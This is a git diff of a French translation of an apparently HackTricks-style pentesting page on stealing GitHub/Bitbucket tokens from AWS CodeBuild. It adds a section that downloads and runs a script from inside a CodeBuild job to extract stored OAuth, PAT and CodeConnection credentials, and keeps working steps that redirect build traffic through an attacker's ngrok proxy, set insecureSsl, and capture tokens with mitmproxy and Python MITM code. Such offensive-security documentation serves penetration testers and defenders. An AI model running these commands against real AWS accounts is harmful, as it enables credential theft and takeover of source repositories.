diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
index 12f462d14..938c35716 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md
@@ -2,47 +2,57 @@
{{#include ../../../../banners/hacktricks-training.md}}
-## Récupérer les Tokens configurés Github/Bitbucket
+## Récupérer les Tokens Github/Bitbucket configurés
-D'abord, vérifiez s'il existe des credentials source configurés que vous pourriez leak :
+Tout d'abord, vérifiez s'il existe des source credentials configurés que vous pourriez leak:
```bash
aws codebuild list-source-credentials
```
+### Via RCE dans un job CodeBuild
+
+Depuis l'intérieur d'un job CodeBuild, vous pouvez atteindre un endpoint API non documenté d'AWS CodeBuild qui vous renverra les identifiants utilisés par CodeBuild. Cela permet d'obtenir les identifiants avec lesquels le job CodeBuild a été configuré, par ex. les identifiants AWS CodeConnection, OAUTH ou PAT. Le job CodeBuild n'a pas besoin d'avoir des privilèges pour interroger cet endpoint, et il est également difficile de le détecter dans les logs et la surveillance, car CodeBuild appelle lui‑même cet endpoint plusieurs fois au démarrage.
+
+La technique est expliquée plus en détail dans [https://thomaspreece.com/2026/03/23/part-2-aws-codebuild-escalating-privileges-via-aws-codeconnections/](https://thomaspreece.com/2026/03/23/part-2-aws-codebuild-escalating-privileges-via-aws-codeconnections/) mais en résumé, pour obtenir les identifiants depuis le job CodeBuild, il suffit d'exécuter ce qui suit :
+```
+python -m pip install botocore boto3 requests
+wget https://raw.githubusercontent.com/thomaspreece/AWS-CodeFactoryTokenService-API/refs/heads/main/GetBuildInfo.py
+python ./GetBuildInfo.py
+```
### Via Docker Image
If you find that authentication to for example Github is set in the account, you can **exfiltrate** that **access** (**GH token or OAuth token**) by making Codebuild to **use an specific docker image** to run the build of the project.
-Pour cela vous pouvez **créer un nouveau projet Codebuild** ou modifier **l'environnement** d'un existant pour définir l'**image Docker**.
+Pour cela, vous pouvez **créer un nouveau projet Codebuild** ou modifier l'**environment** d'un projet existant pour définir l'**image Docker**.
The Docker image you could use is [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). This is a very basic Docker image that will set the **env variables `https_proxy`**, **`http_proxy`** and **`SSL_CERT_FILE`**. This will allow you to intercept most of the traffic of the host indicated in **`https_proxy`** and **`http_proxy`** and trusting the SSL CERT indicated in **`SSL_CERT_FILE`**.
1. **Create & Upload your own Docker MitM image**
-- Suivez les instructions du repo pour configurer l'adresse IP de votre proxy, installer votre certificat SSL et **construire l'image Docker**.
-- **DO NOT SET `http_proxy`** afin de ne pas intercepter les requêtes vers le metadata endpoint.
-- Vous pouvez utiliser **`ngrok`** comme `ngrok tcp 4444` pour définir le proxy vers votre hôte.
-- Une fois l'image Docker construite, **upload it to a public repo** (Dockerhub, ECR...)
+- Suivez les instructions du repo pour définir l'adresse IP de votre proxy et votre certificat SSL, puis **build the docker image**.
+- **NE PAS DÉFINIR `http_proxy`** pour ne pas intercepter les requêtes vers le metadata endpoint.
+- Vous pouvez utiliser **`ngrok`** par exemple `ngrok tcp 4444` pour définir le proxy vers votre hôte
+- Une fois que vous avez construit l'image Docker, **upload it to a public repo** (Dockerhub, ECR...)
2. **Set the environment**
- Créez un **nouveau projet Codebuild** ou **modifiez** l'environnement d'un projet existant.
-- Configurez le projet pour utiliser l'**image Docker** précédemment générée.
+- Configurez le projet pour utiliser l'**image Docker générée précédemment**
3. **Set the MitM proxy in your host**
-- Comme indiqué dans le **Github repo** vous pouvez utiliser quelque chose comme :
+- Comme indiqué dans le **Github repo** vous pouvez utiliser quelque chose comme:
```bash
mitmproxy --listen-port 4444 --allow-hosts "github.com"
```
> [!TIP]
> La **version de mitmproxy utilisée était 9.0.1**, il a été signalé qu'avec la version 10 cela pourrait ne pas fonctionner.
-4. **Exécuter le build & capturer les identifiants**
+4. **Lancer la build & récupérer les identifiants**
-- Vous pouvez voir le token dans l'en-tête **Authorization** :
+- Vous pouvez voir le token dans l'en-tête **Authorization**:
-Ceci peut aussi être fait depuis l'aws cli avec une commande du type :
+Cela peut aussi être fait depuis l'aws cli avec une commande comme
```bash
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
@@ -73,15 +83,15 @@ aws codebuild start-build --project-name my-project2
```
### Via insecureSSL
-**Codebuild** projects have a setting called **`insecureSsl`** that is hidden in the web you can only change it from the API.\
-L'activation de ce paramètre permet à **Codebuild** de se connecter au dépôt **sans vérifier le certificat** proposé par la plateforme.
+**Codebuild** projects ont un paramètre appelé **`insecureSsl`** qui est caché dans l'interface web et que l'on ne peut modifier que via l'API.\
+L'activer permet à Codebuild de se connecter au référentiel **sans vérifier le certificat** présenté par la plateforme.
-- D'abord, vous devez énumérer la configuration actuelle avec quelque chose comme :
+- Tout d'abord, vous devez énumérer la configuration actuelle avec quelque chose comme :
```bash
aws codebuild batch-get-projects --name
```
-- Ensuite, avec les informations recueillies, vous pouvez mettre à jour le paramètre du projet **`insecureSsl`** en **`True`**. L'exemple ci‑dessous montre la mise à jour d'un projet — remarquez **`insecureSsl=True`** à la fin (c'est la seule chose que vous devez modifier par rapport à la configuration récupérée).
-- De plus, ajoutez également les variables d'environnement **http_proxy** et **https_proxy** pointant vers votre tcp ngrok comme :
+- Ensuite, avec les informations collectées, vous pouvez mettre à jour le paramètre de projet **`insecureSsl`** à **`True`**. Voici un exemple de mise à jour d'un projet ; remarquez **`insecureSsl=True`** à la fin (c'est la seule chose à modifier dans la configuration récupérée).
+- De plus, ajoutez également les variables d'environnement **http_proxy** et **https_proxy** pointant vers votre tcp ngrok comme suit :
```bash
aws codebuild update-project --name \
--source '{
@@ -115,7 +125,7 @@ aws codebuild update-project --name \
]
}'
```
-- Ensuite, exécutez l'exemple de base depuis [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) sur le port indiqué par les variables proxy (http_proxy et https_proxy)
+- Ensuite, exécutez l'exemple de base depuis [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) sur le port indiqué par les variables de proxy (http_proxy et https_proxy)
```python
from mitm import MITM, protocol, middleware, crypto
@@ -128,15 +138,15 @@ certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
```
-- Enfin, cliquez sur **Build the project**, les **credentials** seront **envoyés en clair** (base64) au port mitm :
+- Enfin, cliquez sur **Build the project**, les **credentials** seront **envoyés en clair** (base64) vers le port mitm :
-### ~~Via le protocole HTTP~~
+### ~~Par le protocole HTTP~~
-> [!TIP] > **Cette vulnérabilité a été corrigée par AWS à un moment durant la semaine du 20 février 2023 (je pense le vendredi). Donc un attaquant ne peut plus l'abuser :)**
+> [!TIP] > **Cette vulnérabilité a été corrigée par AWS à un moment la semaine du 20 février 2023 (je pense vendredi). Donc un attaquant ne peut plus l'exploiter :)**
-Un attaquant avec **des permissions élevées sur un CodeBuild pourrait leak le Github/Bitbucket token** configuré ou, si les permissions ont été configurées via OAuth, le **temporary OAuth token utilisé pour accéder au code**.
+Un attaquant avec des **privilèges élevés sur un CodeBuild pourrait leak le Github/Bitbucket token** configuré ou, si les permissions ont été configurées via OAuth, le **token OAuth temporaire utilisé pour accéder au code**.
- Un attaquant pourrait ajouter les variables d'environnement **http_proxy** et **https_proxy** au projet CodeBuild pointant vers sa machine (par exemple `http://5.tcp.eu.ngrok.io:14972`).
@@ -144,8 +154,8 @@ Un attaquant avec **des permissions élevées sur un CodeBuild pourrait leak le
-- Ensuite, changez l'URL du repo github pour utiliser HTTP au lieu de HTTPS, par exemple : `http://github.com/carlospolop-forks/TestActions`
-- Ensuite, lancez l'exemple basique de [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) sur le port indiqué par les variables proxy (http_proxy et https_proxy)
+- Ensuite, changer l'URL du repo github pour utiliser HTTP au lieu de HTTPS, par exemple : `http://github.com/carlospolop-forks/TestActions`
+- Ensuite, lancer l'exemple basique de [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) sur le port indiqué par les variables proxy (http_proxy et https_proxy)
```python
from mitm import MITM, protocol, middleware, crypto
@@ -162,16 +172,16 @@ mitm.run()
```sh
aws codebuild start-build --project-name
```
-- Enfin, les **identifiants** seront **envoyés en clair** (base64) vers le port mitm:
+- Enfin, les **credentials** seront **envoyés en clair** (base64) vers le port mitm :
> [!WARNING]
-> Désormais, un attaquant pourra utiliser le token depuis sa machine, lister tous les privilèges dont il dispose et en abuser plus facilement que s'il utilisait directement le service CodeBuild.
+> Désormais, un attaquant pourra utiliser le token depuis sa machine, lister tous les privilèges dont il dispose et (ab)user plus facilement que s'il utilisait directement le service CodeBuild.
-## Untrusted PR execution via webhook filter misconfiguration
+## Exécution de PR non approuvée via une mauvaise configuration du filtre webhook
-Pour la PR-triggered webhook bypass chain (`ACTOR_ACCOUNT_ID` regex + untrusted PR execution), consultez :
+Pour la chaîne de contournement du webhook déclenchée par une PR (`ACTOR_ACCOUNT_ID` regex + exécution de PR non approuvée), consultez :
{{#ref}}
aws-codebuild-untrusted-pr-webhook-bypass.md